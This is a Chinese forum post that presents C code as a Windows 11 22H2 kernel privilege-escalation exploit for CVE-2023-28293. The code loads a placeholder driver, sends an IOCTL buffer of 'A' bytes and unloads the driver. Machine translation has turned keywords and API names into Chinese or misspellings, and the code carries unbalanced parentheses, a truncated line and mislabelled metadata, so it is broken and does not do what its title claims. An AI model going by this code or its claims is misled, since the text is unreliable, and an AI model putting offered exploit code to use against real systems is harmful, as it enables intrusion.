H

Windows 11 22H2-内核特权高程

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
//利用标题: Windows 11 22H2-内核特权高程
//日期: 2023-06-20
//Country:伊朗
//利用作者: Amirhossein Bahramizadeh
//类别: WebApps
//供应商HomePage:
//在: Windows/Linux上测试
//CVE : CVE-2023-28293
#include windows.h
#include stdio.h
//脆弱的驱动程序文件名
const char *driver_name='vuln_driver.sys';
//脆弱的驱动器设备名称
const char *device_name='\\\\\。\\ vulndriver';
//触发漏洞的IOCTL代码
#define ioctl_vuln_code0x2222003
//IOCTL输入/输出数据的缓冲区大小
#define ioctl_buffer_size0x1000
int main()
{
处理设备;
dword bytes_returned;
char input_buffer [ioctl_buffer_size];
char output_buffer [ioctl_buffer_size];
//加载脆弱的驱动程序
如果(!loadDriver(driver_name,'\\ driver \\ vulndriver'))
{
printf('错误加载脆弱的驱动程序:%d \ n',getlastror());
返回1;
}
//打开脆弱的驱动器设备
device=createFile(device_name,generic_read | generic_write,0,null,open_existing,file_attribute_normal,null);
if(设备==Invalid_handle_value)
{
printf('错误打开脆弱的驱动器device:%d \ n',getLasterRor());
返回1;
}
//用数据填充输入缓冲区以触发漏洞
memset(input_buffer,'a',ioctl_buffer_size);
//发送IOCTL以触发漏洞
如果(!deviceiocontrol(设备,ioctl_vuln_code,input_buffer,ioctl_buffer_size,output_buffer,ioct_buffer,ioctl_buffer_size,bytes_returned,null,null)))))))
{
printf('错误发送ioctl:%d \ n',getLasterRor());
返回1;
}
//打印输出缓冲区内容
printf('输出buffer: \ n%s \ n',output_buffer);
//卸载脆弱的驱动程序
如果(!
{
printf('错误卸载脆弱驱动程序:%d \ n',getlastror());
返回1;
}
//关闭弱势驱动器设备
关闭手(设备);
返回0;
}
bool loaddriver(lpctstr driver_name,lpctstr service_name)
{
SC_HANDLE SC_MANAGER,服务;
dword错误;
//打开服务控制经理
sc_manager=openscmanager(null,null,sc_manager_all_access);
if(sc_manager==null)
{
返回false;
}
//创建服务
服务=createService(sc_manager,service_name,service_name,service_all_access,service_kernel_driver,service_demand_start,service_error_normal,driver_name,driver_name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null);
如果(服务==null)
{
错误=getlastror();
if(error==error_service_exists)
{
//该服务已经存在,因此请打开它
服务=openservice(sc_manager,service_name,service_all_access);
如果(服务==null)
{
ClosEviceHandle(sc_manager);
返回false;
}
}
别的
{
ClosEviceHandle(sc_manager);
返回false;
}
}
//开始服务
如果(!starterVice(服务,0,null))
{
错误=getlastror();
如果(error!=error_service_already_running)
{
CLESSERVICEHANDLE(服务);
ClosEviceHandle(sc_manager);
返回false;
}
}
CLESSERVICEHANDLE(服务);
ClosEviceHandle(sc_manager);
返回true;
}
bool unloadDriver(lpctstr service_name)
{
SC_HANDLE SC_MANAGER,服务;
service_status状态;
dword错误;
//打开服务控制经理
sc_manager=openscmanager(null,null,sc_manager_all_access);
if(sc_manager==null)
{
返回false;
}
//打开服务
服务=openservice(sc_manager,service_name,service_all_access);
如果(服务==null)
{
ClosEviceHandle(sc_manager);
返回false;
}
//停止服务
if(!controlService(Service,Service_control_stop,status))
{
错误=getlastror();
如果(错误!=error_service_not_active)
{
CLESSERVICEHANDLE(服务);
ClosEviceHandle(sc_manager);
返回false;
}
}
//删除服务
如果(!deleteservice(service))
{
CLESSERVICEHANDLE(服务);
ClosEviceHandle(sc_manager);
返回false;
}
CLESSERVICEHANDLE(服务);
ClosEviceHandle(sc_manager);
返回true;
}
 
后退
顶部